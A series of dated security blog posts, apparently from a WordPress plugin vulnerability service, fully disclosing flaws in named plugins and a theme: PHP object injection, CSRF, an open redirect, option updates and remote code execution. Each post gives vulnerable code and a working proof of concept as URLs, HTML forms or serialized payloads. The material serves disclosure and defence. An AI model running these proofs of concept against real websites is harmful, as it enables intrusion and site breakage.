28 Nov

It Would Be a Good Idea for WordPress Plugin Developers to Check Their Plugins with Our Plugin Security Checker

Yesterday we noted that the developer of the WordPress security plugin Security Ninja plugin isn’t doing a great job with the security of their plugins. In the latest example, they could have spotted an issue before we are publicly disclosing it by simply checking the plugin with our Plugin Security Checker, which identifies possible security issues in WordPress plugins. While looking into the details of another instance of them fixing a vulnerability we had identified in one of their plugins while working on an improvement to the Plugin Security Checker, this time with the plugin Nifty Coming Soon & Maintenance page we ran the plugin through our tool and saw that it got flagged for possibly including a vulnerable version of the plugin Option Tree:

The vulnerability being referred to there is one we disclosed on November 6 after looking into the plugin due to its inclusion in another plugin.

A quick check confirmed that this plugin also contains an authenticated PHP object injection vulnerability due to that.

This plugin loads the file containing the vulnerable code from Option Tree near the end of its main file:

280
require_once 'admin/ot-loader.php';

From there you get to an authenticated PHP object injection that is normally exploitable by users with the Contributor role and above, due to the code explained in the previous post.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Plugin developers can avoid issues like this being disclosed by checking their plugins with the Plugin Security Checker and fixing any possible issues that turn out to be vulnerabilities. While the tool certainly can’t identify every security vulnerability in a plugin, it can help them to avoid a lot of easier to spot issues.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[nonce]” with a valid nonce. The valid nonce can be found in the source code of the page to create or edit a post on the line that starts “var option_tree”.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=add_list_item&nonce=[nonce]&settings=TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=
27 Nov

Developer of WordPress Security Plugin Fails to Implement Basic Security Checks in Another of Their Plugins

If you were not too familiar with the security industry you would probably assume that if a company is the developer of a WordPress security plugin then other plugins they make would be quite secure. That turns out to not be the case with the developer of the Security Ninja plugin. Yesterday we full disclosed a minor vulnerability in one their other plugins, Google Maps Widget, which has 100,000+ installs according to WordPress.org. Then today we saw that they fixed a similar issue in another of their plugins, Minimal Coming Soon & Maintenance Mode, which has 60,000+ installs. In a reminder of how insecure some plugins are (even if the developer also has a security plugin), when we looked at the code being changed to fix that we noticed that in the same function there is another more serious vulnerability, one that wasn’t fixed.

The vulnerability allows anyone logged in to WordPress to disable the website by enabling the plugin’s maintenance mode. The vulnerability would also allow an attacker that gets someone logged in to WordPress that clicks a link the attacker creates to cause the website to be disabled as well. That is due to the failure of the developer to implement two rather basic security checks in the code.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue through the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Technical Details

The plugin makes the function change_status() available to anyone logged in to WordPress through by registering it as an “admin_action”:

80
add_action('admin_action_csmm_change_status', array(__CLASS__, 'change_status'));

The code in that function will change the plugin’s “status” option:

97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
  // change status via admin bar
  static function change_status() {
    if (empty($_GET['new_status'])) {
      wp_safe_redirect(admin_url());
      exit;
    }
 
    $options = csmm_get_options();
 
    if ($_GET['new_status'] == 'enabled') {
      $options['status'] = '1';
    } else {
      $options['status'] = '2';
    }
 
    update_option('signals_csmm_options', $options);
 
    if (!empty($_GET['redirect'])) {
      wp_safe_redirect($_GET['redirect']);
    } else {
      wp_safe_redirect(admin_url());
    }
 
    exit;
  } // change_status
} // class csmm

When a request is sent that accesses that function with the GET input “new_status” set to “enabled” that will enable the maintenance mode of the plugin.

What should be in that code, but isn’t, is a capabilities check to make sure the user making the request to enable the maintenance mode should be allowed to do that (it looks like it should be limited to users with the Administrator role) and a check for a valid nonce to protect against cross-site request forgery (CSRF) to prevent someone being able to get an Administrator to unintentionally turn that on by clicking a link like the one shown in the proof of concept below.

Proof of Concept

The following proof of concept will turn on the plugin’s maintenance mode, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?action=csmm_change_status&new_status=enabled
26 Nov

Our Plugin Security Checker Now Identifies the Possibility of Vulnerabilities Like This One in a WordPress Plugin with 100,000+ Installs

We often find that the various things that we do lead to improvements in other things we do. That just came up in something that we started looking into while working on a security review of a WordPress plugin chosen by our customers that has led to an improvement in our automated tool for detecting possible security issues in WordPress plugins, the Plugin Security Checker. While looking at code in the plugin we were checking over for one reason we noticed the possibility of an open redirect vulnerability might be in the code, because of the specifics of the code that seems unlikely to be exploited, but it doesn’t look like the code was actually being used (which has been a reoccurring thing we have noticed when looking at possible vulnerable code recently). An open redirect vulnerability allows a request to one page to be redirected to an arbitrary URL, which is something spammers have been known to abuse. After seeing that code we got the idea of possibly adding a check for code similar to our Plugin Security Checker.

In doing due diligence before adding that code we took a look over the 1,000 most popular plugins available in the Plugin Directory to see what the check might pick up. We found that over 10 plugins were flagged by that. In many case it looks like those plugins should actually being using a different function that would avoid the issue. Let’s look at an example where we confirmed that there is in fact a vulnerability, though only exploitable against anyone logged in to WordPress. That would limit its usefulness to spammer, but it could be used to disguise that a hacker is trying to get a logged in user to click a link that takes them to another website that in turns causes that logged in user to exploit another vulnerability without intending it.

In the plugin Google Maps Widget, which has 100,000+ active installations according to wordpress.org, the plugin registers the function dismiss_notice() through WordPress admin_action, which makes it accessible to anyone logged in to WordPress:

91
add_action('admin_action_gmw_dismiss_notice', array('GMW', 'dismiss_notice'));

When that functions runs, as long as the GET input “notice” exists then if the GET input “redirect” exists, the website will redirect to the address specified in it using wp_redirect():

475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
  static function dismiss_notice() {
    if (empty($_GET['notice'])) {
      wp_redirect(admin_url());
      exit;
    }
 
    if ($_GET['notice'] == 'upgrade') {
      GMW::set_options(array('dismiss_notice_upgrade2' => true));
    }
    if ($_GET['notice'] == 'rate') {
      GMW::set_options(array('dismiss_notice_rate' => true));
    }
    if ($_GET['notice'] == 'api_key') {
      GMW::set_options(array('dismiss_notice_api_key' => true));
    }
    if ($_GET['notice'] == 'olduser') {
      GMW::set_options(array('dismiss_notice_olduser' => true));
    }
 
    if (!empty($_GET['redirect'])) {
      wp_redirect($_GET['redirect']);
    } else {
      wp_redirect(admin_url());
    }
 
    exit;
  } // dismiss_notice

Looking at that code and the other code in the plugin it seems to us that the URL intended to be redirected to should only be to an address on the same website, so what should be used there is wp_safe_redirect(), which only allows redirects to other addresses on the same website.

You can now check if plugins you use possibly have the same type of issue (as well as quite a few other types of issues) with our Plugin Security Checker. We also added a check for another variant of this issue, though we didn’t find any of the 1,000 most popular plugins were impacted.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Proof of Concept

The following proof of concept will redirect you to our homepage, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?action=gmw_dismiss_notice&notice=test&redirect=https://www.pluginvulnerabilities.com
20 Nov

Our Plugin Security Checker Already Detected a Remote Code Execution (RCE) Vulnerability in a WordPress Plugin with 100,000+ Installs

Last Friday after we discovered a remote code execution (RCE) vulnerability in a WordPress plugin through our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities we noted that we had updated our Plugin Security Checker to have the same check:

Now that we have actually run across a plugin that got flagged by the check that spotted this we have now added it to our Plugin Security Checker, so when you run plugins through that they will now get check for this as well (though hopefully there are not other plugins that are this insecure).

We had actually added two checks, as in addition the check that had spotted that vulnerability we added another check for detection of more complex instances of that type of vulnerable code. Bad news, it only took until yesterday for someone to check a plugin with that tool that lead to that second check catching a possible vulnerability. The good news, especially considering the plugin has 100,000+ active installations according to wordpress.org, while there is a vulnerability, it is harder to exploit than the one we spotted last week, so it wouldn’t likely be used against the average website, but could be used in a targeted attack. That there is this type of vulnerability in such a popular plugin that the possibility of can be identified by that tool seems like another good reason to check the plugins you use through the tool to see if there are any possible issues of that type that need to be further looked into.

The plugin this vulnerability is in, Ultimate Member, isn’t really surprising if you follow our blog. Back in August we discussed that an unfixed vulnerability in the plugin was being widely exploited and the developer had known about it for at least days but still had not got around to releasing a fix. At that point we were already aware of another less serious vulnerability, a reflected cross-site scripting (XSS) vulnerability, which had been spotted when the plugin had previously been run through the Plugin Security Checker. It took the developer nearly a month to fix that after we had notified them of that vulnerability. It turned out that the time it took wasn’t because they were fully reviewing the code to make sure there were no similar issues, as a month later, right after we added an additional check for that type of vulnerability, it picked that up another reflected XSS vulnerability in that plugin. It took over three weeks for that to be fixed.

That this plugin continues to be so insecure that our Plugin Security Checker keeps being able to pick up possible issues that turn out vulnerabilities is a good indication that the security of it is not being properly handled. What makes that more obvious would be the slow response to vulnerability that was widely exploited and that then brings up one of the many problems when it comes to the WordPress community understanding security risks. If you were getting security information from at least one other security company or others repeating them, you would have incorrectly believed that vulnerability was fixed and then exploited instead of the other way around. Here is what the security company Sucuri wrote about it:

When vulnerabilities are disclosed, the volume of opportunistic attacks often immediately increases. Hackers are vigilant and monitor closely for changes of popular themes and plugins. If a bad actor sees that a security issue has been fixed, they will try to create exploits for older versions to target vulnerable sites who haven’t yet patched to the latest available version.

Because Sucuri is not good at what they do (and apparently don’t follow our blog) they incorrectly believed that the vulnerability started being exploited after it was fixed, instead of before.

Then others repeated that claim, instead on informing people of the truth, that what happened there indicated there is a larger issue with proper handling of the security of the plugin.

Here was InMotion Hosting:

As Sucuri states, “If a [hacker] bad actor sees that a security issue has been fixed, they will try to create exploits for older versions to target vulnerable sites who haven’t yet patched to the latest available version.”

And Nexcess:

In this case, the developers of Ultimate Member did exactly what they were supposed to. The presence of the vulnerability was unfortunate, but any complex software is likely to develop such problems at some point in its life. Of more importance is the fact that it was patched promptly when the vulnerability was discovered.

To make that all worse you have the people running the moderation of the support forum for WordPress that repeatedly promote Sucuri in violation of their own guidelines. Promoting a security company that is spreading false information about the security of WordPress plugins seems like a decided negative for the WordPress community.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Technical Details

The plugin makes the function populate_dropdown_options() available to anyone logged in to WordPress through its AJAX functionality:

28
add_action( 'wp_ajax_um_populate_dropdown_options', array( UM()->builder(), 'populate_dropdown_options' ) );

The function, which is located in the file /includes/admin/core/class-admin-builder.php, does restrict who can access it, so that only those with the “manage_options” capability can access it (which normally only users with the Administrator role):

1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
function populate_dropdown_options() {
	$arr_options = array();
 
	if ( ! current_user_can('manage_options') ) {
		wp_die( __( 'This is not possible for security reasons.', 'ultimate-member' ) );
	}
 
	$um_callback_func = $_POST['um_option_callback'];
	if ( empty( $um_callback_func ) ) {
		$arr_options['status'] = 'empty';
		$arr_options['function_name'] = $um_callback_func;
		$arr_options['function_exists'] = function_exists( $um_callback_func );
	}
 
	$arr_options['data'] = array();
 
	if ( function_exists( $um_callback_func ) ) {
		$arr_options['data'] = call_user_func( $um_callback_func );

But the function doesn’t include protection against cross-site request forgery (CSRF), so if an attacker could cause someone logged in as Administrator to access a page they control, they could cause the code to be run by the Administrator without them intending it.

When the code runs the value of the POST input “um_option_callback” is set to the variable $um_callback_func and then that is passed through the call_user_func() function, which permits any “built-in or user-defined function” to be run, which would be remote code execution.

Proof of Concept

The following proof of concept will show the results of running the function phpinfo(), when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=um_populate_dropdown_options" method="POST">
<input type="hidden" name="um_option_callback" value="phpinfo" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
20 Nov

We Caught a PHP Object Injection Vulnerability in a WordPress Plugin with 70,000+ Installs Before It Could Possibly Be Exploited

Earlier today we noted that a security company claimed to have sat on a PHP object injection vulnerability in a WordPress plugin for nearly six months and only disclosed they knew about it until after it others had noticed and possibly after it had been exploited. Completely coincidentally during our our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities we have spotted the same kind of serious vulnerability being introduced today in to a plugin with 70,000+ active installations, Anti-Spam by CleanTalk, before anyone is using it, as the change that introduces it has not yet been applied to the version that people install.

The vulnerability is due to changing the following line:

795
$cookie_test = json_decode(stripslashes($_COOKIE['apbct_cookies_test']), true);

to

795
$cookie_test = unserialize(stripslashes($_COOKIE['apbct_cookies_test']));

Unserializing that cookie, which consists of user input, would permit PHP object injection to occur.

One route to that code executing starts with accessing the function apbct_form__ninjaForms__testSpam() through WordPress’ AJAX functionality, which can be done whether logged in or not:

139
140
add_action( 'wp_ajax_nopriv_ninja_forms_ajax_submit', 'apbct_form__ninjaForms__testSpam', 1);
add_action( 'wp_ajax_ninja_forms_ajax_submit',        'apbct_form__ninjaForms__testSpam', 1);

In that function the function apbct_base_call() gets called:

1831
function apbct_form__ninjaForms__testSpam() {
1861
    $base_call_result = apbct_base_call(

That in turn will call the function apbct_get_submit_time():

77
function apbct_base_call($params = array(), $reg_flag = false){
104
	$ct_request-&gt;submit_time     = apbct_get_submit_time();

And that in turn calls the function apbct_cookies_test():

836
function apbct_get_submit_time()
838
	return apbct_cookies_test() == 1 ? time() - (int)$_COOKIE['apbct_timestamp'] : null;

Which gets us back to the code originally discussed:

789
790
791
792
793
794
795
function apbct_cookies_test()
{
	global $apbct;
 
	if(isset($_COOKIE['apbct_cookies_test'])){
 
		$cookie_test = unserialize(stripslashes($_COOKIE['apbct_cookies_test']));

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “apbct_cookies_test” to “O:20:”php_object_injection”:0:{}” and then when visiting the following URL the message “PHP object injection has occurred.” will be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=ninja_forms_ajax_submit
19 Nov

Our Proactive Monitoring Caught an Authenticated Option Update Vulnerability in a WordPress Plugin with 10,000+ Install

In the wake of widespread exploitation of an option update vulnerability in the WordPress plugin WP GDPR Compliance the difference in our response to others in the WordPress security community has been a reminder that unfortunately we are largely alone in trying to actually make WordPress websites more secure against security issues in WordPress plugins.

For example, Defiant the company behind the Wordfence Security plugin, which had failed to protect even those using their paid service, Wordfence Premium, decided to respond to that by lying and claiming those using it were “covered”. You also have the team that handles the security of plugins on the WordPress side of things seem to have had no interest in considering that they are not properly handling when to force out updates, which could prevent lots of websites being unnecessarily hacked in the future.

By comparison, not only did we warn our customers ahead of time so they could avoid getting hacked. We have already implemented a number of changes to improve our coverage of this type of issue and we are looking at other changes to provide even more protection to our customers.

That additional coverage of this type of issue has already led to identifying a plugin with 30,000+ installs that had the same vulnerability. We had found that vulnerability while working on improving our ability to catch this sort of vulnerability through the various things we do. One of those improvements has now led to us spotting another vulnerability of this type, though one that is more limited in what damage it can cause. Through our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities we spotted that the plugin WooCommerce Product Feed contains an authenticated variant of the option update vulnerability. The vulnerability also seems to be more limited in what changes can be made to the WordPress options through it, though with a single request any logged in to WordPress can break the website by causing it to have a fatal error occur when loading. Also anyone that could get someone logged in to WordPress to access a page they control could cause the same to happen.

The possibility of the vulnerability was also identified by our automated tool that permits anyone to see if WordPress plugins possible have a number of easier to spot security issues, the Plugin Security Checker.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Technical Details

The plugin makes the function woo_feed_update_feed_status() accessible to anyone logged in to WordPress through its AJAX functionality:

801
add_action('wp_ajax_update_feed_status', 'woo_feed_update_feed_status');

The function, which is located in the file /woo-feed.php, will update an option specified by the POST input “feedName”:

802
803
804
805
806
807
808
809
810
811
812
813
814
function woo_feed_update_feed_status(){
	if(!empty($_POST['feedName'])){
		$feedInfo = unserialize(get_option($_POST['feedName']));
		$feedInfo['status'] = $_POST['status'];
		$data = array('status' => true);
		update_option($_POST['feedName'],serialize($feedInfo));
		return  wp_send_json_success($data);
	}else{
		$data = array('status' => false);
		return  wp_send_json_error($data);
	}
	wp_die();
}

The value that option gets updated to involves unserializing and serializing a value and in our testing it looks like that can cause the updating to fail depending on what is the currently value of an option. In a default install of WordPress we found that you could update the “template” option, as shown in the proof of concept below, and you can cause the website to be broken by causing it to have a fatal error occur when loading with that change.

Proof Concept

The following proof of concept will break the website, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=update_feed_status" method="POST">
<input type="hidden" name="feedName" value="template" />
<input type="hidden" name="status" value='broken' />
<input type="submit" value="Submit" />
</form>
</body>
</html>
16 Nov

Our Proactive Monitoring Caught a Remote Code Execution Vulnerability Being Added to the Feedify WordPress Plugin

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Most of the vulnerabilities caught by that are due to only a few checks that we run over those changes, but one that we can’t recall flagging anything before did for a change made yesterday and it identified a serious issue. The new version of the Feedify plugin it turns out introduced a remote code execution (RCE) vulnerability.

In the new version of the plugin has the function feedify_run_cmd() run “once WP, all plugins, and the theme are fully loaded and instantiated“:

2
add_action( 'wp_loaded', 'feedify_run_cmd' );

So the function runs anytime a WordPress page is loaded.

That function, which is located in the file /includes/base.php, takes the value of the GET or POST input “feedify_cmd” and passes it to function call_user_func(), allowing any “built-in or user-defined function” to run:

146
147
148
149
150
151
152
function feedify_run_cmd() {
    if(isset($_REQUEST['feedify_cmd'])) {
        if( is_callable($_REQUEST['feedify_cmd']) ) {
            call_user_func($_REQUEST['feedify_cmd']);
        }
    }
}

The intended use of this in the plugin is to run a couple of its functions, which shouldn’t be handled close to this way.

Now that we have actually run across a plugin that got flagged by the check that spotted this we have now added it to our Plugin Security Checker, so when you run plugins through that they will now get check for this as well (though hopefully there are not other plugins that are this insecure).

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Proof of Concept

The following proof of concept will cause the function phpinfo() to run.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?feedify_cmd=phpinfo
15 Nov

Full Disclosure of PHP Object Injection Vulnerability in WordPress Plugin with 20,000+ Installs

Yesterday as part of our monitoring of WordPress plugins’ changelogs for indications that vulnerabilities have been fixed, so that we can add those vulnerabilities to our data set, the plugin Yet Another Stars Rating popped up. The changelog entry for the latest version of that is “FIXED: security fix”. Looking at the change made in that version that is accurate as code that prevents cross-site request forgery (CSRF) was fixed so that it would work properly. When we started to look at what might be the significance of that we noticed a more serious issue that still exists in the plugin, it is vulnerable to PHP object injection in at least one location (and probably others as well), which is a type of vulnerability that more advanced hackers have been known to exploit widely.

When using the plugin’s shortcode yasr_visitor_multiset the function yasr_visitor_multiset_callback() is run:

523
add_shortcode ('yasr_visitor_multiset', 'yasr_visitor_multiset_callback');

Part way in to that function, which is located in the file /lib/yasr-shortcode-functions.php, the value of the cookie “yasr_multi_visitor_cookie” will be strip of slashes and then unserialized, the latter of which permits PHP object injection to occur:

556
557
558
559
if (isset($_COOKIE[$yasr_cookiename])) {
 
	$cookie_data = stripslashes($_COOKIE[$yasr_cookiename]);
	$cookie_data = unserialize($cookie_data);

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “yasr_multi_visitor_cookie” to ‘O:20:”php_object_injection”:0:{}’ and then when visiting a page with the shortcode “yasr_visitor_multiset” the message “PHP object injection has occurred.” will be shown.

14 Nov

Full Disclosure of CSRF/PHP Object Injection Vulnerability in WordPress Theme with 70,000+ Installs

With our service we cover WordPress plugins (as you might guess from our name), but not WordPress themes. There are a number of reasons for that, including the dearth of vulnerabilities being disclosed in themes, which seems to be related to the limited amount of potentially vulnerable code in them despite it being possible for them to contain all the same types of issues as plugins. We got a reminder of that when we did a check over some of the most popular themes available in the WordPress Theme Directory against the checks we do of changes being made to plugins as part of our proactive monitoring to try to catch serious vulnerabilities before they are exploited and a few other checks. The proactive monitoring checks didn’t pull up anything, but one of the other checks brought up the fact that the theme Hueman , which has 70,000+ active installs according to wordpress.org, contains the plugin OptionTree.

Last week disclosed that OptionTree contains an authenticated PHP object injection vulnerability after noticing its usage in another plugin. With the theme Hueman the situation is somewhat worse since it isn’t even using the latest version of OptionTree, which means that it is also still vulnerable to a vulnerability that was discovered by Kacper Szurek and was fixed over two years ago.

The outdated version of OptionTree also makes the authenticated PHP object injection vulnerability worse as well since unlike in the latest version of OptionTree where the attacker would need to have access to a WordPress account that can at least create a post, so normally at least a user with the Contributor role, it can be exploited by any logged in user in the version included with the them. That is because with the version of OptionTree included with the theme there is no protection against CSRF before the vulnerable code runs, so the attacker doesn’t need access to a valid nonce to exploit this. That also means that if an attack could get someone logged in to the website to visit a URL they specify it could also be exploited.

We have added a check to our Plugin Security Checker that will flag the inclusion vulnerable versions of OptionTree in another plugin. While that tool is designed for plugins, if you are a customer of our service you can upload plugins not in the Plugin Directory to check those and that same capability can also be used to check themes. While looking into adding that check to the tool we found that at least a couple of commercial themes have at least in the past included it as well, so you may want to manually check themes for that inclusion of that plugin or run them through the tool, where it could also identify possible other security issues in the themes.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the Theme Review team (interestingly there is contact form for contacting them that is linked to from every theme’s page, while plugins don’t have anything like that). Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Technical Details

The theme loads the plugin in the file /functions/init-core.php:

127
load_template( get_template_directory() . '/option-tree/ot-loader.php' );

OptionTree then makes the function add_list_item() available to anyone logged in to WordPress through WordPress’ AJAX functionality:

530
add_action( 'wp_ajax_add_list_item', array( $this, 'add_list_item' ) );

That function passes user input, in the form of the GET or POST input “settings” through the unserialize() function, which could permit PHP object injection:

73
74
75
76
public function add_list_item() {
  ot_list_item_view( $_REQUEST['name'], $_REQUEST['count'], array(), $_REQUEST['post_id'], $_REQUEST['get_option'], unserialize( ot_decode( $_REQUEST['settings'] ) ), $_REQUEST['type'] );
  die();
}

Before it passes the value to unserialize() though it passes it through ot_decode(), which it turns out just base64 decodes the value (which can remove an impediment to PHP object injection being successful with user input like this):

2455
2456
2457
2458
2459
2460
function ot_decode( $value ) {
 
  $func = 'base64' . '_decode';
  return $func( $value );
 
}

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=add_list_item&settings=TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=
13 Nov

Full Disclosure of Authenticated PHP Object Injection Vulnerability in WordPress Security Plugin with 70,000+ Installs

Last week, after running across a couple of PHP object injection vulnerabilities in the plugin WP GDPR Compliance we started looking into making an improvement of detection of that type of issue in our automated tool for detecting possible security issues in WordPress plugins, the Plugin Security Checker. As part of doing that we did some checks over the 1,000 most popular WordPress plugins to get a better idea of usage of code of similar code there might be out there. That led to us finding an authenticated PHP object injection vulnerability in the security plugin WP Security Audit Log, which has 70,000+ active installations according to wordpress.org.

That a security plugin can have a fairly serious vulnerability speaks to the one of the problems we see with the security industry’s ability to meet the needs of the public. On the one hand the average website, which shouldn’t need security products and services, are being sold ones that don’t work well at best. At the same time those websites that genuinely need advanced security tools are unable to get ones that work well and or they introduce security risks of their own. This plugin falls into the latter category both in that it is something that could be of useful for some websites, but also something that is introducing additional security risk.

Maybe not surprisingly, this isn’t the first time we have found a security vulnerability in this plugin.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).

Tomorrow we are going to be disclosing the same type of vulnerability that exists in theme with 70,000+ installs. That is unless the WordPress folks move to clean up their act between now and then (which we hope they do).

Technical Details

In the file /classes/Sensors/Content.php the function EventPostChanged() is set to run “when a post is transitioned from one status to another“:

115
add_action( 'transition_post_status', array( $this, 'EventPostChanged' ), 10, 3 );

In that function the value of the POST input “post_custom” is set to the variable $post_custom and the run the through the function maybe_unserialize(), which permits PHP object injection to occur:

46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$filter_input_args = array(
	'post_ID'              => FILTER_VALIDATE_INT,
	'_wpnonce'             => FILTER_SANITIZE_STRING,
	'original_post_status' => FILTER_SANITIZE_STRING,
	'sticky'               => FILTER_SANITIZE_STRING,
	'action'               => FILTER_SANITIZE_STRING,
	'_inline_edit'         => FILTER_SANITIZE_STRING,
	'mainwpsignature'      => FILTER_SANITIZE_STRING,
	'function'             => FILTER_SANITIZE_STRING,
	'new_post'             => FILTER_SANITIZE_STRING,
	'post_custom'          => FILTER_SANITIZE_STRING,
);
 
// Filter $_POST array for security.
$post_array = filter_input_array( INPUT_POST, $filter_input_args );
 
// Check MainWP $_POST members.
$new_post    = isset( $post_array['new_post'] ) ? $post_array['new_post'] : false;
$post_custom = isset( $post_array['post_custom'] ) ? $post_array['post_custom'] : false;
$post_custom = maybe_unserialize( base64_decode( $post_custom ) );

As the proof of concept below shows that code can normally be accessed and exploited by users with the Contributor role and above.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in to WordPress as a contributor.

Make sure to replace “[path to WordPress]” with the location of WordPress, “[nonce]” and “[POST id]” with the values that can be found in the Add New Post page as the value of the inputs “_wpnonce” and “post_id”.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/post.php" method="POST">
<input type="hidden" name="_wpnonce" value="[nonce]" />
<input type="hidden" name="action" value="editpost" />
<input type="hidden" name="post_ID" value="[POST ID]" />
<input type="hidden" name="post_custom" value="TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=" />
<input type="submit" value="Submit" />
</form>
</body>
</html>